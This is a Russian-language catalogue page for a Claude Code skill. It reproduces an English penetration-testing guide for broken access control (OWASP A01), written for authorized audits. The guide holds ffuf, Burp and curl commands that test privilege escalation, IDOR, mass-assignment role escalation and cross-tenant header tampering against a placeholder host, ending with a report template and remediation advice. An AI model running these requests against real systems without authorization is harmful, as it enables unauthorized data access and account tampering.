К основному содержанию
скилл CX Codex

testing-for-broken-access-control — скилл для Claude Code

Помогает проверять веб-приложения и API на ошибки контроля доступа по OWASP A01:2021. Пригодится при аудите RBAC и анализе изоляции данных.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-broken-access-control -a claude-code
Открыть на GitHub

Что делает testing-for-broken-access-control

Скилл структурирует аудит авторизации, охватывая вертикальное и горизонтальное повышение привилегий, IDOR и утечки данных между клиентами. Процедура стартует с построения матрицы прав и выявления скрытых маршрутов через ffuf.

Для автоматизации задействуется Burp Suite Professional с плагином Authorize, который подставляет чужие токены и отслеживает ответы сервера. Точечные проверки ролевых ограничений выполняются вызовами curl или httpie с разными заголовками авторизации.

Без предварительно созданных учётных записей под каждую роль этот процесс быстро зайдёт в тупик.

Какие задачи решает

  • составить матрицу контроля доступа для маршрутов API
  • найти скрытые эндпоинты с помощью ffuf
  • проверить вертикальное повышение привилегий через curl
  • выявить риски утечки данных между арендаторами в multi-tenant архитектуре

Примеры запросов агенту

  • Помоги составить матрицу контроля доступа для эндпоинтов API
  • Сформируй команду ffuf для поиска скрытых путей с токеном авторизации
  • Покажи сценарий curl для проверки горизонтального повышения привилегий

Как установить testing-for-broken-access-control

1Через Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-broken-access-control -a claude-code

2Вручную: положить файлы

~/.claude/skills/testing-for-broken-access-control/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/testing-for-broken-access-control/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Из того же набора87

analyzing-apt-group-with-mitre-navigator Запрашивает данные ATT&CK по APT-группам и собирает слои MITRE ATT&CK Navigator для сравнения TTP и поиска пробелов в обнаружении. CX Codex +1 531установок analyzing-network-traffic-with-wireshark Скилл учит агента захватывать пакеты через tshark и Wireshark: искать C2-трафик, утечки и сбои протоколов. CX Codex +1 533установок analyzing-dns-logs-for-exfiltration Разбирает логи DNS-запросов и ищет туннелирование, DGA-домены и скрытые C2-каналы. Нужен, когда трафик уходит мимо файрвола и прокси. CX Codex +1 527установок analyzing-command-and-control-communication Скилл разбирает сетевое взаимодействие вредоносных программ с C2 и помогает понять протокол, маячки, кодирование и инфраструктуру. Нужен для анализа PCAP и сигнатур. CX Codex +1 528установок analyzing-linux-audit-logs-for-intrusion Помогает расследовать вторжения на серверах Linux через auditd, ausearch и aureport, настраивать правила аудита и восстанавливать таймлайн атак. CX Codex +1 522установок exploiting-sql-injection-vulnerabilities Помогает тестировать веб-приложения на уязвимость к внедрению SQL-кода при санкционированном пентесте. Скилл координирует поиск точек инъекции и проверку защиты баз данных. CX Codex +1 504установок analyzing-bootkit-and-rootkit-samples Анализирует bootkit и rootkit в MBR, VBR и UEFI. Нужен при признаках заражения, которые сохраняются после переустановки ОС. CX Codex +1 486установок reverse-engineering-android-malware-with-jadx Скилл ведёт агента по разбору подозрительного Android APK: декомпиляция через JADX, разбор манифеста, поиск кражи данных и C2. CX Codex +1 486установок

Похожие

access-control-rbac aj-geddes Скилл, который помогает агенту проектировать ролевую модель доступа: роли, разрешения, политики и принцип наименьших привилегий. CX Codex +1 757установок django-access-review getsentry Скилл ищет IDOR и дыры в авторизации Django: проходит по вьюхам, DRF-вьюсетам и ORM-запросам и показывает, где проверок не хватает. CX Codex +1 2 700установок iam-helper-for-privileged-access-management официальный google Скилл помогает управлять временным доступом через Google Cloud Privileged Access Manager: настраивать доступы, запрашивать их и разбирать решения по заявкам. Подойдёт для работы с PAM, а не с постоянными IAM-привязками. CX Codex 3 900установок access официальный anthropics Скилл управляет доступом к Telegram-каналу через локальный JSON-файл. Подходит для pairing, allowlist и правил личных сообщений и групп. 3 867установок tigris-security-access-control tigrisdata Скилл настраивает доступ к объектному хранилищу Tigris: ключи, роли, CORS и подписанные URL. Нужен при защите бакетов и проверке настроек доступа. CX Codex +1 3 100установок wordpress-penetration-testing zebbern Скилл проверяет WordPress-сайты на типичные уязвимости и проблемы прав доступа REST API плагинов. Используется для авторизованных аудитов безопасности. CX Codex +1 1 100установок

Рядом в теме «Безопасность»

Всё по теме «Безопасность» →

Вопросы о testing-for-broken-access-control

Как установить testing-for-broken-access-control в Claude Code?

Выполните команду npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-broken-access-control -a claude-code в терминале.

Что делает testing-for-broken-access-control?

Скилл описывает методику поиска уязвимостей контроля доступа OWASP A01:2021. Он включает инвентаризацию эндпоинтов, автоматизацию в Burp Suite и проверку разграничения прав.

Какие требования нужны для запуска проверок?

Требуются письменное разрешение на проведение тестов, Burp Suite Professional с расширением Authorize и набор тестовых аккаунтов для ролей admin, manager, user и guest.

Исходный текст

SKILL.md · Apache-2.0
---
name: testing-for-broken-access-control
description: Systematically tests web applications and APIs for broken access control
  (OWASP A01:2021), including privilege escalation, missing function-level checks, insecure
  direct object references, and multi-tenant data leakage, using Burp Suite with the
  Authorize extension. Use during authorized penetration tests or RBAC/multi-tenant
  authorization audits.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- access-control
- authorization
- owasp
- privilege-escalation
- web-security
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1068
---

# Testing for Broken Access Control

## When to Use

- During authorized penetration tests as the primary assessment for OWASP A01:2021 - Broken Access Control
- When evaluating role-based access control (RBAC) implementations across all application endpoints
- For testing multi-tenant applications where users in one organization should not access another's data
- When assessing API endpoints for missing or inconsistent authorization checks
- During security audits where privilege escalation and unauthorized access are primary concerns

## Prerequisites

- **Authorization**: Written penetration testing agreement for the target
- **Burp Suite Professional**: With Authorize extension for automated access control testing
- **Multiple test accounts**: Accounts at each role level (admin, manager, user, guest)
- **Application role matrix**: Documentation of what each role should and should not access
- **curl/httpie**: For manual endpoint testing with different authentication contexts
- **ffuf**: For discovering hidden endpoints that may lack access controls

## Workflow

### Step 1: Map All Endpoints and Create Access Control Matrix

Document every endpoint and the expected access level for each role.

```bash
# Extract all endpoints from Burp Site Map
# Target > Site Map > Right-click > Copy URLs in this host

# Build a matrix of endpoints vs roles:
# | Endpoint              | Admin | Manager | User | Guest |
# |-----------------------|-------|---------|------|-------|
# | GET /admin/dashboard  | Allow | Deny    | Deny | Deny  |
# | GET /api/users        | Allow | Allow   | Deny | Deny  |
# | PUT /api/users/{id}   | Allow | Deny    | Own  | Deny  |
# | DELETE /api/posts/{id} | Allow | Allow   | Own  | Deny  |

# Discover hidden endpoints
ffuf -u "https://target.example.com/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302,403 -fc 404 \
  -H "Authorization: Bearer $USER_TOKEN" \
  -o endpoints.json -of json

# API endpoint discovery
ffuf -u "https://target.example.com/api/v1/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,401,403,405 -fc 404 \
  -H "Authorization: Bearer $USER_TOKEN"
```

### Step 2: Configure Automated Access Control Testing

Set up Burp Authorize extension for parallel role-based testing.

```
# Install Authorize extension:
# Burp > Extender > BApp Store > Search "Authorize" > Install

# Configuration for three-tier testing:
# 1. Browse the application as Admin (capture all requests)
# 2. In Authorize tab:
#    a. Add Regular User's session token in "Replace cookies/headers"
#    b. Optionally add a second row for Unauthenticated (no auth header)

# Example header replacement setup:
# Row 1 (Low-privilege user):
#   Cookie: session=low_priv_user_session
#   Authorization: Bearer low_priv_token
#
# Row 2 (Unauthenticated):
#   [Empty - removes all auth headers]

# Enable interception in Authorize:
# - Check "Intercept requests from Proxy"
# - Check "Intercept requests from Repeater"

# Authorize shows results as:
# Green  = Properly restricted (different response for different user)
# Red    = POTENTIALLY VULNERABLE (same response regardless of role)
# Orange = Uncertain (needs manual verification)
```

### Step 3: Test Vertical Privilege Escalation

Attempt to access higher-privilege functionality with lower-privilege accounts.

```bash
# Collect tokens for each role
ADMIN_TOKEN="Bearer admin_jwt_here"
MANAGER_TOKEN="Bearer manager_jwt_here"
USER_TOKEN="Bearer user_jwt_here"

# Test admin endpoints with user token
ADMIN_ENDPOINTS=(
  "GET /admin/dashboard"
  "GET /admin/users"
  "POST /admin/users/create"
  "PUT /admin/settings"
  "DELETE /admin/users/5"
  "GET /admin/logs"
  "GET /admin/reports/export"
  "POST /admin/backup"
)

for entry in "${ADMIN_ENDPOINTS[@]}"; do
  method=$(echo "$entry" | cut -d' ' -f1)
  endpoint=$(echo "$entry" | cut -d' ' -f2)
  echo -n "$method $endpoint (as user): "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" \
    -H "Authorization: $USER_TOKEN" \
    -H "Content-Type: application/json" \
    "https://target.example.com$endpoint")
  if [ "$status" == "200" ] || [ "$status" == "201" ]; then
    echo "VULNERABLE ($status)"
  else
    echo "OK ($status)"
  fi
done

# Test with method override headers
curl -s -o /dev/null -w "%{http_code}" \
  -X POST \
  -H "Authorization: $USER_TOKEN" \
  -H "X-HTTP-Method-Override: DELETE" \
  "https://target.example.com/admin/users/5"

# Test with different HTTP methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo -n "$method /admin/users: "
  curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" \
    -H "Authorization: $USER_TOKEN" \
    "https://target.example.com/admin/users"
  echo
done
```

### Step 4: Test Horizontal Privilege Escalation

Verify that users cannot access resources belonging to other users at the same privilege level.

```bash
# User A (ID: 101) testing access to User B's (ID: 102) resources
USER_A_TOKEN="Bearer user_a_jwt"

RESOURCES=(
  "/api/users/102/profile"
  "/api/users/102/orders"
  "/api/users/102/messages"
  "/api/users/102/documents"
  "/api/users/102/settings"
  "/api/users/102/payment-methods"
)

for resource in "${RESOURCES[@]}"; do
  echo -n "GET $resource: "
  response=$(curl -s -w "\n%{http_code}" \
    -H "Authorization: $USER_A_TOKEN" \
    "https://target.example.com$resource")
  status=$(echo "$response" | tail -1)
  body_len=$(echo "$response" | head -n -1 | wc -c)
  if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; then
    echo "VULNERABLE ($status, $body_len bytes)"
  else
    echo "OK ($status)"
  fi
done

# Test write operations across users
curl -s -X PUT \
  -H "Authorization: $USER_A_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"Hacked","email":"[email protected]"}' \
  "https://target.example.com/api/users/102/profile" -w "%{http_code}"

# Test delete operations
curl -s -X DELETE \
  -H "Authorization: $USER_A_TOKEN" \
  "https://target.example.com/api/users/102/documents/1" -w "%{http_code}"
```

### Step 5: Test Function-Level Access Control

Verify that specific functions enforce authorization properly.

```bash
# Test unauthenticated access to protected endpoints
PROTECTED_ENDPOINTS=(
  "/api/user/profile"
  "/api/transactions"
  "/api/settings"
  "/admin/dashboard"
  "/api/export/users"
)

for endpoint in "${PROTECTED_ENDPOINTS[@]}"; do
  echo -n "No auth: GET $endpoint: "
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com$endpoint"
  echo
done

# Test with expired/invalid tokens
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer invalid_token_here" \
  "https://target.example.com/api/user/profile"

# Test role manipulation in JWT claims
# If JWT contains role claim, try modifying it
# (requires JWT vulnerability - see JWT testing skill)

# Test parameter-based role escalation
curl -s -X PUT \
  -H "Authorization: $USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \
  "https://target.example.com/api/users/101/profile"

# Test registration with elevated role
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Test123!","role":"admin"}' \
  "https://target.example.com/api/auth/register"
```

### Step 6: Test Multi-Tenant Isolation

Verify that tenant boundaries are enforced in multi-tenant applications.

```bash
# User in Tenant A testing access to Tenant B's resources
TENANT_A_TOKEN="Bearer tenant_a_user_jwt"

# Direct tenant resource access
curl -s -H "Authorization: $TENANT_A_TOKEN" \
  "https://target.example.com/api/organizations/tenant-b-id/users" | jq .

curl -s -H "Authorization: $TENANT_A_TOKEN" \
  "https://target.example.com/api/organizations/tenant-b-id/settings" | jq .

# Test tenant switching via header
curl -s -H "Authorization: $TENANT_A_TOKEN" \
  -H "X-Tenant-ID: tenant-b-id" \
  "https://target.example.com/api/users" | jq .

# Test tenant ID in request body
curl -s -X POST \
  -H "Authorization: $TENANT_A_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \
  "https://target.example.com/api/reports/custom"

# Enumerate tenant IDs
ffuf -u "https://target.example.com/api/organizations/FUZZ" \
  -w <(seq 1 100) \
  -H "Authorization: $TENANT_A_TOKEN" \
  -mc 200 -t 10 -rate 20
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Vertical Privilege Escalation** | Lower-privilege user accessing higher-privilege functionality (user -> admin) |
| **Horizontal Privilege Escalation** | User accessing another user's resources at the same privilege level |
| **Function-Level Access Control** | Authorization checks on specific features/functions regardless of URL |
| **RBAC** | Role-Based Access Control - permissions assigned to roles, roles assigned to users |
| **ABAC** | Attribute-Based Access Control - permissions based on user/resource/environment attributes |
| **Multi-Tenant Isolation** | Ensuring data and functionality separation between different organizations/tenants |
| **Insecure Direct Object Reference** | Accessing objects by manipulating identifiers without authorization checks |
| **Missing Function-Level Check** | Endpoint exists but does not verify the caller has permission to invoke it |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Request interception and role-based testing |
| **Authorize (Burp Extension)** | Automated access control testing across sessions |
| **AutoRepeater (Burp Extension)** | Automatically replays requests with different auth contexts |
| **Postman** | API testing with environment switching between roles |
| **ffuf** | Discovering hidden endpoints that may lack access controls |
| **OWASP ZAP** | Access control testing with context-aware scanning |

## Common Scenarios

### Scenario 1: Admin Panel Without Auth Check
The `/admin/dashboard` endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks.

### Scenario 2: API Endpoint Missing Authorization
The `DELETE /api/users/{id}` endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account.

### Scenario 3: Tenant Data Leakage
A SaaS application uses `tenant_id` in API request headers. Changing the `X-Tenant-ID` header to another tenant's ID returns their data, bypassing tenant isolation.

### Scenario 4: Mass Assignment Role Escalation
The user profile update endpoint at `PUT /api/users/{id}` accepts a `role` field in the JSON body. Submitting `"role":"admin"` alongside a profile update elevates the user to administrator.

## Output Format

```
## Broken Access Control Assessment Report

**Target**: target.example.com
**Assessment Date**: 2024-01-15
**OWASP Category**: A01:2021 - Broken Access Control

### Access Control Matrix Results
| Endpoint | Admin | Manager | User | Guest | Expected | Actual |
|----------|-------|---------|------|-------|----------|--------|
| GET /admin/dashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |
| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |
| GET /api/users/other/profile | 200 | 200 | 200 | 401 | Own only | FAIL |
| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | Own only | FAIL |
| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |

### Critical Findings
1. **Vertical Escalation**: Regular users can access /admin/* endpoints
2. **Horizontal IDOR**: Users can read/modify other users' profiles
3. **Tenant Isolation**: Cross-tenant data access via header manipulation
4. **Mass Assignment**: Role escalation via profile update endpoint

### Impact
- Complete administrative access for any authenticated user
- Full user data access across all accounts (15,000+ users)
- Cross-tenant data breach affecting 200+ organizations
- Account takeover via profile modification

### Recommendation
1. Implement server-side authorization checks on every endpoint
2. Use a centralized authorization middleware/framework
3. Enforce object-level authorization (verify ownership before access)
4. Validate tenant context server-side, never from client headers
5. Use allowlists for mass assignment (only permit expected fields)
6. Implement audit logging for all access control decisions
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Смотрите также

Спонсоры проекта

Компании, которые помогают держать аналитику открытой